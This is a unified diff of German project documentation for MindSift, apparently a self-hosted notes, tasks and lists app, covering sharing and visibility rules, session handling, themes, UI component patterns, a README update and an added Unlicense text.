- Aufgabenlisten besitzen zusätzlich das Altfeld `team_id`: Mitglieder dieser Gruppe haben ohne Freigabezeile Bearbeiterrechte. Eine Gruppenfreigabe über den Dialog setzt `team_id`, falls es noch leer ist.
|
- **Aufgaben-Zuweisungen** hängen am Zugriff: Verliert jemand den letzten Zugriffsweg auf eine Aufgabenliste, entfernt der Server ihn aus allen Zuweisungen dieser Liste ([modules/tasks.md](modules/tasks.md)).
|
||||||
|
|
||||||
## Aufgabenlisten teilen (Details)
|
## Aufgabenlisten teilen (Details)
|
||||||
|
|
||||||
@@ -31,17 +32,34 @@
|
|||||||
|
|
||||||
Bestehende Freigaben aus der Zeit vor dieser Stufe wurden mit `editor` migriert, behalten also ihr Verhalten.
|
Bestehende Freigaben aus der Zeit vor dieser Stufe wurden mit `editor` migriert, behalten also ihr Verhalten.
|
||||||
|
|
||||||
## Isolations-Modi (`system_settings.sharing_mode`)
|
## Sichtbarkeit: Organisationen und Modi (`system_settings.sharing_mode`)
|
||||||
|
|
||||||
Werte: `strict_private`, `teams_only` (Standard), `open`. Gedacht ist:
|
Zwei Begriffe, nicht verwechseln:
|
||||||
|
|
||||||
| Modus | Zweck |
|
| Begriff | Verwaltet von | Zweck |
|
||||||
|
|---|---|---|
|
||||||
|
| **Organisation** | nur Server-Admin (`/admin/organizations`) | Legt fest, wer wen **sehen** darf. Jeder Benutzer gehört höchstens einer an (`users.organization_id`). |
|
||||||
|
| **Gruppe** (Code: `teams`) | Benutzer selbst | Abkürzung beim Teilen („teile mit meiner WG“). Erweitert die Sichtbarkeit nie. |
|
||||||
|
|
||||||
|
| Modus | Wer sieht wen |
|
||||||
|---|---|
|
|---|---|
|
||||||
| `strict_private` | Keine Sichtbarkeit zwischen Benutzern |
|
| `private` | Niemand. Benutzersuche, Teilen und Gruppen sind aus (Server antwortet mit Fehler, UI blendet sie aus). |
|
||||||
| `teams_only` | Freigaben nur zwischen Mitgliedern gemeinsamer Gruppen |
|
| `organizations` (Standard) | Nur Mitglieder derselben Organisation. Wer keiner angehört, sieht niemanden. |
|
||||||
| `open` | Jeder kann für jeden freigeben |
|
| `open` | Alle. |
|
||||||
|
|
||||||
**Tatsächlich** wird der Modus nur in `GetDiscoverableUsers` ausgewertet, und dort liefert `teams_only` bereits alle Benutzer. `GET /collaborators` ignoriert den Modus, und keine Freigabe-Funktion prüft ihn. Die Einstellung hat derzeit also kaum Wirkung ([FLAW-10](flaws.md)).
|
**Eine Regel für alles:** `Store.CanSee(a, b)` und `Store.CanShareWith(owner, typ, ziel)` in [visibility.go](../internal/storage/visibility.go). Darüber laufen Benutzerverzeichnis (`/users/directory`, `/collaborators`), jede Freigabe (Notiz, Ordner, Aufgabenliste, Liste) und das Hinzufügen zu Gruppen. Server-Admins folgen beim Teilen derselben Regel; alle Konten verwalten sie über `/admin/*`.
|
||||||
|
|
||||||
|
- Mit einer Gruppe teilen darf nur, wer selbst Mitglied ist. Eine Gruppe gehört zur Organisation ihres Erstellers (`teams.org_id`), Mitglieder kommen nur von dort.
|
||||||
|
- Unbekannte und nicht sichtbare Personen liefern dieselbe Meldung („Benutzer oder Gruppe nicht gefunden“), damit niemand Konten per E-Mail ausprobieren kann.
|
||||||
|
- **Teilen geht nur vom Eigentümer.** Bearbeiter können nicht weiterteilen und keine fremden Freigaben entfernen; jeder kann aber seine eigene Freigabe entfernen (eine geteilte Notiz oder einen Ordner verlassen).
|
||||||
|
|
||||||
|
**Rechte folgen der Sichtbarkeit.** `Store.PruneSharing` entfernt alles, was unter dem aktuellen Modus nicht mehr erlaubt wäre: Gruppen-Mitgliedschaften außerhalb der Organisation der Gruppe, Freigaben an Personen, die der Eigentümer nicht mehr sieht, Freigaben an Gruppen, in denen der Eigentümer nicht mehr ist; danach leere Gruppen und über `PruneTaskAssignees` die Aufgaben-Zuweisungen. Gruppen ohne Admin bekommen einen. Es läuft nach:
|
||||||
|
|
||||||
|
- Wechsel oder Entfernen der Organisation eines Benutzers, Löschen einer Organisation
|
||||||
|
- Wechsel des Modus durch den Admin (vorher zeigt `GET /admin/settings/sharing-impact?mode=…` als Probelauf, wie viel wegfällt)
|
||||||
|
- Austritt aus oder Löschen einer Gruppe, Löschen eines Kontos
|
||||||
|
|
||||||
|
Bei der Einrichtung im Modus `organizations` wird eine Organisation mit dem Namen der Instanz angelegt und der erste Admin ihr zugeordnet. Einladungen und „Benutzer anlegen“ können eine Organisation mitgeben. Im Demo-Modus sind `admin` und `user` in der Organisation „Demo“.
|
||||||
|
|
||||||
## Entkoppelte Ablage geteilter Notizen und Ordner
|
## Entkoppelte Ablage geteilter Notizen und Ordner
|
||||||
|
|
||||||
@@ -50,6 +68,6 @@ Werte: `strict_private`, `teams_only` (Standard), `open`. Gedacht ist:
|
|||||||
|
|
||||||
## Sitzungen und Zugriff
|
## Sitzungen und Zugriff
|
||||||
|
|
||||||
- Tokens werden bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ ungültig (`token_version`); ausgeloggte Tokens landen in `revoked_tokens`.
|
- Jede Anmeldung ist eine Sitzung (`sessions`), die einzeln beendet werden kann (Logout, Profil → Aktive Sitzungen). Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ beenden alle Sitzungen (`token_version`); eine Passwortänderung alle außer der aktuellen.
|
||||||
- Registrierung nur per Einladungscode oder, wenn vom Admin freigeschaltet, offen. Das erste Konto wird immer Administrator.
|
- Registrierung nur per Einladungscode oder, wenn vom Admin freigeschaltet, offen. Das erste Konto wird immer Administrator.
|
||||||
- Bekannte Lücken in der Zugriffskontrolle: [FLAW-01](flaws.md), [FLAW-02](flaws.md), [FLAW-03](flaws.md), [FLAW-06](flaws.md), [FLAW-07](flaws.md), [FLAW-08](flaws.md), [FLAW-24](flaws.md).
|
- Bekannte Lücken in der Zugriffskontrolle: siehe [flaws.md](flaws.md).
|
||||||
@@ -80,8 +80,15 @@ Jede Theme-Datei gliedert sich in sechs exakt definierte Bereiche:
|
|||||||
| :--- | :--- | :--- | :--- |
|
| :--- | :--- | :--- | :--- |
|
||||||
| `dark` | [`theme-dark.css`](../frontend/src/themes/theme-dark.css) | Standard Dark Slate / Monochrom | Streng eckig (`0px` Cards, `2px` Buttons) |
|
| `dark` | [`theme-dark.css`](../frontend/src/themes/theme-dark.css) | Standard Dark Slate / Monochrom | Streng eckig (`0px` Cards, `2px` Buttons) |
|
||||||
| `light` | [`theme-light.css`](../frontend/src/themes/theme-light.css) | Daylight Clean White / Minimalistisch | Modern dezent (`4px` Cards, `4px` Buttons) |
|
| `light` | [`theme-light.css`](../frontend/src/themes/theme-light.css) | Daylight Clean White / Minimalistisch | Modern dezent (`4px` Cards, `4px` Buttons) |
|
||||||
| `high-contrast` | [`theme-high-contrast.css`](../frontend/src/themes/theme-high-contrast.css) | Reines Schwarz/Weiß mit AAA-Kontrast | Streng eckig (`0px`, kräftige Rahmen) |
|
| `terracotta` | [`theme-terracotta.css`](../frontend/src/themes/theme-terracotta.css) | Warmes Cremepapier, Tinte, Terrakotta-Akzent, eigene Code-Farben in Erdtönen | Weich (`12px`) |
|
||||||
| `soft` | [`theme-soft.css`](../frontend/src/themes/theme-soft.css) | Warmes Soft Slate mit Indigo-Akzent | Weich gerundet (`12px` Cards, `8px` Buttons) |
|
| `terracotta-night` | [`theme-terracotta-night.css`](../frontend/src/themes/theme-terracotta-night.css) | Espresso-Braun, Creme-Schrift, glühender Terrakotta-Akzent | Weich (`12px`) |
|
||||||
|
| `fjord` / `fjord-night` | [`theme-fjord.css`](../frontend/src/themes/theme-fjord.css), [`theme-fjord-night.css`](../frontend/src/themes/theme-fjord-night.css) | Kühles Papier und Gletscherblau / Nachtblau | Weich (`12px`) |
|
||||||
|
| `polarized-light` | [`theme-polarized-light.css`](../frontend/src/themes/theme-polarized-light.css) | Helles Gegenstück zu Polarized: Mintweiß, Petrol | Eckig (`0px`) |
|
||||||
|
| `suri-light` | [`theme-suri-light.css`](../frontend/src/themes/theme-suri-light.css) | Helles Gegenstück zu Suri: Lavendel, Pflaume | Weich (`10px`) |
|
||||||
|
|
||||||
|
Die eingebauten Themes sind in Farbfamilien mit je einer hellen und dunklen Variante gruppiert (`THEME_FAMILIES` in [`theme.ts`](../frontend/src/lib/theme.ts)). Pro Gerät lassen sich unter Darstellung zusätzlich einstellen: Hell/Dunkel „Wie System“ (wechselt innerhalb der Familie), Ecken (`data-corners="round|square"` überschreibt die `--radius-*`-Werte), Rahmen an Knöpfen (`data-button-borders="off"`) und eine eigene Akzentfarbe (setzt `--accent-*` direkt am Wurzelelement). Code-Farben in `index.css` sind nur Rückfallwerte (`:where(...)`), die `--code-*`-Werte eines Themes gewinnen immer.
|
||||||
|
| `polarized` | [`theme-polarized.css`](../frontend/src/themes/theme-polarized.css) | Tiefdunkles Obsidian mit elektrischem Grün/Türkis | Streng eckig (`0px` Cards, `2px` Buttons) |
|
||||||
|
| `suri` | [`theme-suri.css`](../frontend/src/themes/theme-suri.css) | Warmes Mitternachts-Pflaume mit samtiger Orchidee | Weich gerundet (`10px` Cards, `6px` Buttons) |
|
||||||
| *Template* | [`theme-template.css`](../frontend/src/themes/theme-template.css) | Vollständig dokumentierte Kopiervorlage | Frei anpassbar |
|
| *Template* | [`theme-template.css`](../frontend/src/themes/theme-template.css) | Vollständig dokumentierte Kopiervorlage | Frei anpassbar |
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -97,11 +104,31 @@ In [`frontend/src/index.css`](../frontend/src/index.css) und `tailwind.config.js
|
|||||||
- `.checkbox-square`: Kontrollkästchen mit `--radius-checkbox`.
|
- `.checkbox-square`: Kontrollkästchen mit `--radius-checkbox`.
|
||||||
- `.capture-pill`: Spezial-Pille für die Desktop-Schnelleingabeleiste mit `--radius-pill`.
|
- `.capture-pill`: Spezial-Pille für die Desktop-Schnelleingabeleiste mit `--radius-pill`.
|
||||||
|
|
||||||
|
### 🏷️ App-Icon & Branding
|
||||||
|
Das standardmäßige Marken-Icon von MindSift (`frontend/public/icon.svg`, PWA-Icons und Social-Preview-Bilder) folgt der primären Akzentfarbe `--accent: #2563eb` und `--text-on-accent: #ffffff` mit den typischen leichten Eckenrundungen (`rounded-xl` bzw. `rx=108`). Details zur Asset-Matrix und den Icon-Formaten siehe [architecture.md](architecture.md#app-icons-pwa--social-preview-open-graph).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 🛠️ 5. Ein eigenes Theme erstellen
|
## 🛠️ 5. Ein eigenes Theme erstellen
|
||||||
|
|
||||||
Um ein neues Theme (z.B. „Nordic Blue" oder „Cyberpunk") hinzuzufügen:
|
### Ohne Rebuild: Theme-Manager in den Kontoeinstellungen
|
||||||
|
|
||||||
|
Unter **Kontoeinstellungen → Darstellung & Themes** kann jeder Benutzer eigene Themes anlegen:
|
||||||
|
|
||||||
|
- **Vorlage** herunterladen, kopieren oder direkt ins Eingabefeld einfügen (`theme-template.css`).
|
||||||
|
- CSS als **`.css`-Datei hochladen** oder **einfügen**, Namen vergeben, „Speichern & aktivieren“.
|
||||||
|
- Eigene Themes erscheinen als Kacheln in der Galerie und im Profil-Dropdown, mit **Bearbeiten** und **Löschen**.
|
||||||
|
|
||||||
|
Technik:
|
||||||
|
|
||||||
|
- Gespeichert pro Benutzer in der Tabelle `user_themes` (API `GET/POST /themes`, `DELETE /themes/{id}`, max. 200 KB), also im Daten-Volume und auf allen Geräten verfügbar.
|
||||||
|
- Aktiv gesetzt wird ein eigenes Theme als `custom:<id>`. [`theme.ts`](../frontend/src/lib/theme.ts) setzt das CSS live als `<style id="mindsift-custom-theme">` ans Ende von `<head>` (gewinnt damit gegen die eingebauten Themes) und übernimmt den Wert aus dem Selektor `[data-theme="…"]` des CSS für `<html data-theme>`. Ohne solchen Selektor gilt das CSS für `:root`. Kommentare werden dabei ignoriert.
|
||||||
|
- Ob die Tailwind-Klasse `dark` gesetzt wird, entscheidet die Helligkeit von `--bg-app`.
|
||||||
|
- Das CSS des aktiven Themes liegt zusätzlich im `localStorage`, damit es beim Start sofort greift; nach dem Login wird es mit dem Server abgeglichen. Wird es gelöscht, fällt die Ansicht auf „Dark“ zurück.
|
||||||
|
|
||||||
|
### Eingebautes Theme (mit Rebuild)
|
||||||
|
|
||||||
|
Um ein neues Theme (z.B. „Nordic Blue" oder „Cyberpunk") fest in MindSift einzubauen:
|
||||||
1. Kopiere `frontend/src/themes/theme-template.css` nach `frontend/src/themes/theme-meintheme.css`.
|
1. Kopiere `frontend/src/themes/theme-template.css` nach `frontend/src/themes/theme-meintheme.css`.
|
||||||
2. Ändere den Selektor `:root[data-theme="template"]` in `:root[data-theme="meintheme"]`.
|
2. Ändere den Selektor `:root[data-theme="template"]` in `:root[data-theme="meintheme"]`.
|
||||||
3. Passe Farben und Rundungen nach Belieben an.
|
3. Passe Farben und Rundungen nach Belieben an.
|
||||||
|
|||||||
@@ -0,0 +1,82 @@
|
|||||||
|
# UI-Muster
|
||||||
|
|
||||||
|
Wiederkehrende Bedienelemente, die überall gleich aussehen und sich gleich verhalten. Wer eines davon neu braucht, nimmt die vorhandene Komponente und baut keine eigene Variante.
|
||||||
|
|
||||||
|
## Personen suchen (Type-to-Search)
|
||||||
|
|
||||||
|
Komponente: [UserAutocomplete.tsx](../frontend/src/features/UserAutocomplete.tsx)
|
||||||
|
|
||||||
|
Eingesetzt beim Teilen (`UnifiedShareModal`), beim Hinzufügen zu Gruppen (`GroupsView`) und beim Zuweisen von Aufgaben (`TaskDetailModal`).
|
||||||
|
|
||||||
|
- **Keine Liste vorab:** Solange das Feld leer ist, erscheint nichts, auch nicht beim Reinklicken. Kein Dropdown mit allen Personen.
|
||||||
|
- **Erst beim Tippen** erscheinen Treffer direkt unter dem Feld, **höchstens 3** (`MAX_RESULTS`). Gesucht wird in Anzeigename, `@Benutzername` und E-Mail.
|
||||||
|
- Der **erste Treffer ist vorausgewählt**: Tippen + Enter übernimmt ihn. Pfeiltasten wechseln, Escape schließt.
|
||||||
|
- Bereits gewählte oder freigegebene Personen werden über `excludeUserIds` ausgeblendet.
|
||||||
|
- **Einzelauswahl** (Teilen, Gruppen): `selectedUser` setzen; das Feld zeigt dann die gewählte Person mit ×.
|
||||||
|
- **Mehrfachauswahl** (Aufgaben zuweisen): `selectedUser={null}` lassen und in `onSelectUser` zur Liste hinzufügen. Die Gewählten stehen als Chips (Avatar, Name, ×) über dem Feld, das Feld bleibt für die nächste Suche frei.
|
||||||
|
|
||||||
|
## Profilbilder als Stapel
|
||||||
|
|
||||||
|
Komponente: [AvatarStack.tsx](../frontend/src/components/AvatarStack.tsx) (nutzt `UserAvatar`)
|
||||||
|
|
||||||
|
- Kleine runde Profilbilder, **leicht überlappend**, **höchstens 3**. Weitere Personen erscheinen als monochromer Kreis „+n“.
|
||||||
|
- Ohne Profilbild zeigt `UserAvatar` die Initialen.
|
||||||
|
- `ringClass` bekommt die Farbe der Fläche dahinter (meist `ring-[var(--bg-panel)]` oder `ring-[var(--bg-app)]`), damit die Kreise sauber getrennt sind.
|
||||||
|
- Größen: `xxs` (16 px) in Tabs, Kanban-Karten und Listeneinträgen, `xs` (20 px) in Aufgabenzeilen und Kopfzeilen.
|
||||||
|
- **Kein Hover-Effekt** im Stapel selbst. Einzige Ausnahme ist die Anwesenheit in Notizen ([PresenceAvatars.tsx](../frontend/src/features/workspace/PresenceAvatars.tsx)): Dort zeigt Hover oder Tastaturfokus die Liste „Gerade online“.
|
||||||
|
|
||||||
|
| Ort | Wer wird gezeigt |
|
||||||
|
|---|---|
|
||||||
|
| Notiz-Kopfzeile | wer die Notiz gerade geöffnet hat (Profilbilder aus `/users/directory`) |
|
||||||
|
| Tabs der Aufgabenlisten und Listen | alle mit Zugriff außer mir (`members`) |
|
||||||
|
| Aufgabenzeile und Kanban-Karte | zugewiesene Personen (nur in geteilten Listen) |
|
||||||
|
| Eintrag einer geteilten Liste | wer ihn hinzugefügt hat (`createdBy`); ältere Einträge ohne Autor zeigen nichts |
|
||||||
|
|
||||||
|
## Schalter
|
||||||
|
|
||||||
|
Komponente: [ToggleSwitch.tsx](../frontend/src/components/ToggleSwitch.tsx)
|
||||||
|
|
||||||
|
- Ein/Aus-Einstellungen sind immer Schalter, keine Checkbox-Haken und keine „angehakten“ Buttons (Einrichtung, Admin-Bereich, Berechtigungen eines API-Keys, Bereiche beim Import und Wiederherstellen → `SectionPicker`).
|
||||||
|
- Text links (Titel, darunter eine kurze Erklärung in `text-muted`), Schalter rechts.
|
||||||
|
- Eine Auswahl **einer** Option aus mehreren (Import-Modus, Ecken, Theme-Folgen) bleibt eine Button-Gruppe mit `role="radio"`.
|
||||||
|
|
||||||
|
## Kleine Dialoge (Anlegen, Umbenennen)
|
||||||
|
|
||||||
|
Komponente: [FormSheet.tsx](../frontend/src/components/FormSheet.tsx), Tastatur-Abstand über [useKeyboardInset.ts](../frontend/src/lib/useKeyboardInset.ts)
|
||||||
|
|
||||||
|
- **Handy:** Bottom-Sheet über die volle Breite, das direkt über der Bildschirmtastatur sitzt (der Abstand kommt aus `visualViewport`), Griff oben, Felder und Buttons mindestens 44 px hoch, Eingaben in 16 px (sonst zoomt iOS), Abbrechen/Erstellen nebeneinander über die ganze Breite.
|
||||||
|
- **Desktop:** zentriertes Fenster, oder mit `anchor` neben der Klickposition (z. B. „Neuer Ordner“ im Explorer).
|
||||||
|
- Escape und Klick auf den Hintergrund schließen. Genutzt für neue Aufgabenliste, neue Einkaufsliste und neuen Ordner; das Emoji-Sheet nutzt denselben Tastatur-Abstand.
|
||||||
|
|
||||||
|
## Zähler
|
||||||
|
|
||||||
|
Komponente: [CountBadge.tsx](../frontend/src/components/CountBadge.tsx), CSS-Klassen `count-badge*` in [index.css](../frontend/src/index.css). Es gibt keine anderen Zähler-Stile mehr.
|
||||||
|
|
||||||
|
- **Form:** runder Kreis, mindestens 16 px, ab 100 als „99+“ (der Screenreader liest die echte Zahl). Bei 0 ausgeblendet, außer mit `showZero` (z. B. Mitgliederzahl, mobiles Menü).
|
||||||
|
- **Farbe (`variant`):**
|
||||||
|
- `accent`: Hier wartet etwas auf dich. Navigationsleiste: Triage (Inbox), Aufgaben (offene Aufgaben), Listen (offene Einträge aller eigenen und geteilten Listen). Workspace hat keinen Zähler.
|
||||||
|
- `muted` (Standard): reine Anzahl. Tabs der Aufgabenlisten und Listen, Organisationen, mobiles Menü.
|
||||||
|
- Beide kommen aus den Theme-Variablen (`--accent-primary`/`--text-on-accent` bzw. `--text-muted`/`--bg-panel`) und passen sich damit jedem Theme an.
|
||||||
|
- **Position (`position`):**
|
||||||
|
- `corner`: Benachrichtigungs-Badge oben rechts am nächsten `relative` Elternelement, mit Ring in der Seitenfarbe. In der Navigation und an den Tabs sitzt er **auf dem Text**: der Text steht in einem `relative inline-flex`-Span (mit `pr-3`, solange ein Zähler da ist), der Kreis bekommt `-top-0.5 -right-2`, damit er die obere Tab-Linie nicht anschneidet und nicht am Text klebt. In der mobilen Leiste sitzt er am Icon (`-top-1.5 -right-2.5`).
|
||||||
|
- `inline`: im Textfluss.
|
||||||
|
- Zahlen im mobilen Menü (`MobileActionContext`, `badge: number`) werden automatisch als `CountBadge` gezeigt; Text-Badges wie „2 aktiv“ bleiben Textmarken.
|
||||||
|
- **Wichtig für neue Klassen:** Tailwind entfernt Klassen aus `@layer components`, die nicht wörtlich im Code stehen. Klassennamen deshalb nie zusammensetzen (`count-badge-${variant}`), sondern ausschreiben.
|
||||||
|
|
||||||
|
## Ladebildschirm & Statusleiste
|
||||||
|
|
||||||
|
- `manifest.json`: `name` „MindSift“ (kurz, der Slogan steht in `description`), `background_color` und `theme_color` `#2563eb` – Android baut daraus den Splash-Screen.
|
||||||
|
- `index.html` enthält in `#root` einen reinen HTML-Platzhalter (vollflächig Blau, Logo in der Mitte, kein Text). React ersetzt ihn beim ersten Rendern, dazwischen blitzt nichts Weißes auf.
|
||||||
|
- `meta theme-color` startet blau und wird von [`theme.ts`](../frontend/src/lib/theme.ts) nach dem Start und bei jedem Theme-Wechsel auf `--bg-app` des aktiven Themes gesetzt, damit die Statusleiste zum Header passt.
|
||||||
|
|
||||||
|
## +-Button: Tippen und Halten
|
||||||
|
|
||||||
|
Komponente: [HoldToRecordFab.tsx](../frontend/src/features/capture/HoldToRecordFab.tsx)
|
||||||
|
|
||||||
|
- **Kurz tippen (< 350 ms):** Führt wie bisher die primäre Aktion der aktuellen Ansicht (`primaryAction`) oder den mobilen Erfassungsdialog (`openMobileTriageCapture`) aus.
|
||||||
|
- **Gedrückt halten (≥ 350 ms):** Startet direkt eine Sprachaufnahme über `useVoiceInput` (im Server-Modus per Whisper mit echten Pegel-Wellen, sonst über die Spracherkennung des Browsers). Der Button wird zum pulsierenden Mikrofon (`bg-status-err`), darüber zeigt eine schwebende Pille „Ich höre zu… (loslassen speichert)“ samt Live-Transkript.
|
||||||
|
- **Loslassen:** Stoppt die Aufnahme, wartet kurz auf das letzte Wort und speichert den Text unabhängig von der aktiven Ansicht immer als Gedanken in die Inbox (`source: 'voice'`, `target: 'inbox'`).
|
||||||
|
- **Nach oben ziehen (> 60 px):** Schaltet die Pille in den Abbruch-Zustand („🗑️ Zum Abbrechen loslassen“); Loslassen dort verwirft die Aufnahme (`abort()`).
|
||||||
|
- **Fallback:** Ist die Spracheingabe abgeschaltet (`STT_DISABLED=true`), unterstützt der Browser keine Spracherkennung oder ist das Mikrofon gesperrt (`not-allowed`), öffnet Halten wie beim Tippen den Dialog und blendet eine kurze Statusmeldung über der Bottom-Leiste ein.
|
||||||
|
|
||||||
|
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
This is free and unencumbered software released into the public domain.
|
||||||
|
|
||||||
|
Anyone is free to copy, modify, publish, use, compile, sell, or
|
||||||
|
distribute this software, either in source code form or as a compiled
|
||||||
|
binary, for any purpose, commercial or non-commercial, and by any
|
||||||
|
means.
|
||||||
|
|
||||||
|
In jurisdictions that recognize copyright laws, the author or authors
|
||||||
|
of this software dedicate any and all copyright interest in the
|
||||||
|
software to the public domain. We make this dedication for the benefit
|
||||||
|
of the public at large and to the detriment of our heirs and
|
||||||
|
successors. We intend this dedication to be an overt act of
|
||||||
|
relinquishment in perpetuity of all present and future rights to this
|
||||||
|
software under copyright law.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
||||||
|
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||||
|
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
|
||||||
|
IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
|
||||||
|
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
|
||||||
|
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
|
||||||
|
OTHER DEALINGS IN THE SOFTWARE.
|
||||||
|
|
||||||
|
For more information, please refer to <https://unlicense.org>
|
||||||
@@ -6,14 +6,16 @@
|
|||||||
[](#)
|
[](#)
|
||||||
[](#-schnellstart)
|
[](#-schnellstart)
|
||||||
[](#-deine-daten-gehören-dir)
|
[](#-deine-daten-gehören-dir)
|
||||||
[](#-schnellstart)
|
[](CHANGELOG.md)
|
||||||
|
|
||||||
**MindSift** ist eine selbst gehostete Schaltstelle für spontane Gedanken, Aufgaben mit Kanban-Board, hierarchische Outliner-Notizen, die mehrere Personen gleichzeitig bearbeiten können, und gemeinsame Listen. Alles läuft als ein einzelner Container mit eingebetteter SQLite-Datenbank, auf deinem eigenen Server.
|
**MindSift** ist eine selbst gehostete Schaltstelle für spontane Gedanken, Aufgaben mit Kanban-Board, hierarchische Outliner-Notizen, die mehrere Personen gleichzeitig bearbeiten können, und gemeinsame Listen. Alles läuft als ein einzelner Container mit eingebetteter SQLite-Datenbank, auf deinem eigenen Server.
|
||||||
|
|
||||||
<p align="center">
|
<p align="center">
|
||||||
<img src="screenshots/Triage_desktop.png" alt="MindSift Triage Desktop" width="85%" />
|
<img src="screenshots/Triage_desktop.webp" alt="MindSift Triage am Desktop, links hell, rechts dunkel" width="85%" />
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
|
<sub>Links das helle, rechts das dunkle Theme.</sub>
|
||||||
|
|
||||||
[Philosophie](#-die-philosophie) • [Funktionen](#-funktionen) • [Schnellstart](#-schnellstart) • [Betrieb](#-betrieb--konfiguration) • [Entwicklung](#-entwicklung) • [Dokumentation](#-dokumentation)
|
[Philosophie](#-die-philosophie) • [Funktionen](#-funktionen) • [Schnellstart](#-schnellstart) • [Betrieb](#-betrieb--konfiguration) • [Entwicklung](#-entwicklung) • [Dokumentation](#-dokumentation)
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
@@ -34,70 +36,102 @@ Die meisten Notiz- und Aufgaben-Apps verlangen Struktur im falschen Moment: Wenn
|
|||||||
|
|
||||||
### ⚡ Schnellerfassung & Triage
|
### ⚡ Schnellerfassung & Triage
|
||||||
|
|
||||||
* Eingabeleiste im Kopf der App, jederzeit mit `C` oder `/` fokussierbar; auch per Spracheingabe (Browser-Funktion).
|
* Eingabeleiste im Kopf der App, jederzeit mit `C` oder `/` fokussierbar; auch per Spracheingabe: über den Browser oder datenschutzfreundlich über einen eigenen Whisper-Container (optional in `docker-compose.yml`, siehe [Architektur](Doku/architecture.md#spracherkennung)); auf Smartphones auch per Gedrückthalten des `+`-Knopfs (Hold-to-Record mit Pegel-Wellen).
|
||||||
* Ziel beim Erfassen wählbar: Posteingang, Aufgabe, Listeneintrag oder Notiz.
|
* Ziel beim Erfassen wählbar: Posteingang, Aufgabe, Listeneintrag oder Notiz.
|
||||||
* **Triage-Deck:** `H`/`←` verwerfen, `L`/`→` zur Aufgabe, `T` Aufgabe mit Termin, `D` in Notiz verwandeln, Leertaste = später. Auf dem Smartphone per Wischgeste.
|
* **Triage-Deck:** `H`/`←` verwerfen, `L`/`→` zur Aufgabe, `T` Aufgabe mit Termin, `D` in Notiz verwandeln, Leertaste = später. Auf dem Smartphone per Wischgeste oder über große Knöpfe unter der Karte; die Warteschlange klappt bei Bedarf auf.
|
||||||
|
* **Teilen aus anderen Apps:** Als installierte App erscheint MindSift im Teilen-Menü des Smartphones; geteilte Texte und Links landen im Posteingang und lassen sich direkt danach mit einem Tipp zur Aufgabe oder auf eine Liste schicken.
|
||||||
* Papierkorb mit Wiederherstellen.
|
* Papierkorb mit Wiederherstellen.
|
||||||
|
|
||||||
<p align="center">
|
<p align="center">
|
||||||
<img src="screenshots/Mobile_Triage.png" alt="MindSift Mobile Triage" width="280px" />
|
<img src="screenshots/Mobile_Triage.webp" alt="MindSift Triage am Smartphone, helles Theme" width="280px" />
|
||||||
|
|
||||||
|
<img src="screenshots/Mobile_Workspace.webp" alt="MindSift Notiz am Smartphone, dunkles Theme" width="280px" />
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
### ✅ Aufgaben & Kanban
|
### ✅ Aufgaben & Kanban
|
||||||
|
|
||||||
* Listen- und Kanban-Ansicht, Spalten pro Aufgabenliste frei konfigurierbar.
|
* Listen- und Kanban-Ansicht, Spalten pro Aufgabenliste frei konfigurierbar.
|
||||||
* Prioritäten, Fälligkeitsdatum, Hashtags, Unteraufgaben mit Fortschrittsbalken, Markdown-Notizen.
|
* Prioritäten, Fälligkeitsdatum, Hashtags, Unteraufgaben mit Fortschrittsbalken, Markdown-Notizen.
|
||||||
* Filter, Gruppierung und Sortierung; Drag & Drop in Liste und Board.
|
* Filter, Gruppierung und Sortierung; Drag & Drop in Liste und Board, auch auf den Reiter einer anderen Aufgabenliste.
|
||||||
* **Aufgabenlisten teilen** mit Benutzern oder Gruppen, wahlweise als **Bearbeiter** oder **nur lesend**.
|
* **Aufgabenlisten teilen** mit Benutzern oder Gruppen, wahlweise als **Bearbeiter** oder **nur lesend**.
|
||||||
* **Alarme** bei Fälligkeit per E-Mail, Discord oder eigenem Webhook.
|
* **Aufgaben beobachten:** Beliebige Aufgaben per Klick abonnieren, um über alle Änderungen informiert zu werden.
|
||||||
|
* **Wiederholungen:** Wiederkehrende Aufgaben (täglich, wöchentlich, monatlich, jährlich) mit automatischer Folgeaufgabe beim Abhaken.
|
||||||
|
* **Tageszusammenfassung:** Tägliche Übersicht fälliger Aufgaben zur selbst gewählten Uhrzeit per E-Mail, Discord, eigenem Webhook oder Push.
|
||||||
|
* **Push-Benachrichtigungen** auf Handy und Desktop (auch bei geschlossener App; iPhone/iPad als Home-Bildschirm-App), als eigener Kanal je Ereignis.
|
||||||
|
* **Alarme & Benachrichtigungen:** Fälligkeits-Alarme sofort, alle übrigen Ereignisse (Freigaben, erledigte geteilte Aufgaben, beobachtete Aufgaben) gebündelt; pro Ereignis wählbar über E-Mail, Discord, eigenen Webhook und Push.
|
||||||
|
|
||||||
<p align="center">
|
<p align="center">
|
||||||
<img src="screenshots/aufgaben_desktop.png" alt="MindSift Aufgaben und Kanban-Board" width="90%" />
|
<img src="screenshots/aufgaben_desktop.webp" alt="MindSift Aufgaben und Kanban-Board" width="90%" />
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
### 📝 Workspace: Outliner-Notizen
|
### 📝 Workspace: Outliner-Notizen
|
||||||
|
|
||||||
* Jeder Gedanke ein Bullet: `Enter`, `Tab`/`Shift+Tab`, Ein-/Ausklappen, Drag & Drop ganzer Äste.
|
* Jeder Gedanke ein Bullet: `Enter`, `Tab`/`Shift+Tab`, Ein-/Ausklappen, Drag & Drop ganzer Äste; am Handy eine Leiste über der Tastatur zum Ein-/Ausrücken und Verschieben.
|
||||||
